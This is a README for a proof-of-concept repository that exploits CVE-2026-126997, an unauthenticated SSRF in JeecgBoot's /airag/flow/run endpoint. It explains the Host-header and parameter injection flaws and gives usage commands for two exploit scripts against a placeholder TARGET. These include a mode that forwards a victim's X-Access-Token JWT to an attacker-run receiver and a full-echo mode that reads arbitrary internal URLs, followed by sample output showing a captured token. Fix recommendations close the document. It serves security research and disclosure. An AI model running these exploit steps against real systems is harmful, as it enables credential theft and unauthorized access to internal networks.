
Python PoC for CVE-2026-126997, an unauthenticated SSRF in JeecgBoot /airag/flow/run that forwards X-Access-Token credentials and returns full internal responses.
JeecgBoot flow-run endpoint SSRF / credential forwarding vulnerability reproduction tool (with full echo exploitation)
⚠️ For authorized security testing and learning research only. Testing without written authorization from the target system is illegal, and users bear all consequences themselves.
| Item | Content |
|---|---|
| CVE ID | CVE-2026-126997 (disclosed 2026-11-12) |
| Affected product | JeecgBoot ≤ 3.9.6 |
| Vulnerability type | CWE-918 Server-Side Request Forgery (SSRF) |
| Vulnerability location | org/jeecg/modules/airag/flow/* — /airag/flow/run endpoint, RestTemplate.exchange |
| CVSS | 5.5 ~ 7.3 (varies by scoring source) |
POST /airag/flow/run is an @IgnoreAuth anonymous endpoint that can execute any enabled AI flow.
The HTTP node (LiteFlow component) in the flow initiates HTTP requests from the server side, and there are three problems:
{{domainURL}} placeholder is taken from the request Host header — forging the Host controls the server-side request target;{{param}} placeholder is taken from the anonymous request's inputParams — combined with a parameterized flow, this enables full control of any URL;TokenUtils.getTokenByRequest places the caller's X-Access-Token verbatim into the forwarded request headers — credentials are sent to the SSRF target (credential theft).Moreover, the HTTP node writes the response's body / statusCode into the flow output, which is returned with the run's SSE response —
SSRF with echo (the response content of internal network services can be read directly).
The URL of the "示例_Http节点" (Example_HttpNode) flow (id 1900029596154232833) that comes with the default initialized database uses
{{domainURL}}, so Host pollution-type SSRF can be triggered without any write permission.
| File | Purpose | Prerequisites |
|---|
Authentication boundary note (important): The CVE itself (SSRF + credential exfiltration) is fully unauthenticated — it can be reproduced with zero account using
poc_cve_2026_126997.py. "Arbitrary path full echo" (_full.py) is an enhanced exploitation of this repository: the URL path of the default built-in flow is hardcoded, so to fetch an arbitrary path you must first import aurl={{url}}parameterized flow (a one-time action; after that, each trigger remains purely anonymous), which therefore requires an import account. This is not a necessary condition for triggering the CVE.
| poc_cve_2026_126997.py | CVE itself reproduction (fully unauthenticated): zero account, zero import, forge Host to trigger the default built-in flow; built-in receiver displays the callback request; with -u/-p can demonstrate credential theft (JWT lands at the receiver and is automatically decoded to the owning user) | None (purely anonymous) |
| poc_cve_2026_126997_full.py | Enhanced: arbitrary URL full echo: import a URL parameterized flow (url={{url}}), then each anonymous run retrieves the response content and status code of any URL; on failure, outputs a three-state probe conclusion (domain does not exist / port closed / connection timeout) | First import requires an account with airag:flow:add permission (admin/aiadmin/vue3 level, one-time); on 3.9.5, because importFlow has no permission check, any logged-in account works; after import, triggering is fully anonymous |
Both scripts depend only on the Python 3 standard library.
# 接收器自动起在本机,Host 自动指向接收器
python3 poc_cve_2026_126997.py -t http://TARGET:8088/jeecg-boot
# 演示凭证窃取:调用者 JWT 会随 SSRF 请求落到接收器
python3 poc_cve_2026_126997.py -t http://TARGET:8088/jeecg-boot -u test -p Passw0rd
Output example:
[+] 收到 1 个回连请求 —— CVE-2026-126997 复现成功:
--- HIT 1: POST /jeecg-boot/test/jeecgDemo/add HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIs...
[!!] 外带凭证属于用户: test (clientType=APP) —— JWT 已落入接收器
# -au/-ap:导入流程用的账号(仅首次需要);-url:要目标服务器取回的完整地址
python3 poc_cve_2026_126997_full.py \
-t http://TARGET:8088/jeecg-boot \
-au jeecg -ap 123456 \
-url http://内网地址:端口/任意路径
# 导入后每次触发均为匿名;--keep 保留流程(默认用完自动删除)
# -u/-p 可选:以指定账号触发(注意:该账号 JWT 会被转发给 -url 目标)
Output example:
[+] SSRF 全回显成功 HTTP 200
[+] 响应体 (37 字节):
------------------------------------------------------------
flag{...}
------------------------------------------------------------
[!] 请求已发出但未获响应 —— SSRF 探测结果: 端口关闭/拒绝连接
[!] 目标服务器反馈: ...Connection refused
http.tag('node id') (type name prefix); keep this in mind when building custom flows;airag:flow:add), so the full-echo flow must be imported in one go;@IgnoreAuth from /airag/flow/run;{{domainURL}} to take its value from trusted configuration; the Host header must not be used as a source;X-Access-Token / X-Tenant-Id when the HTTP node forwards requests;MIT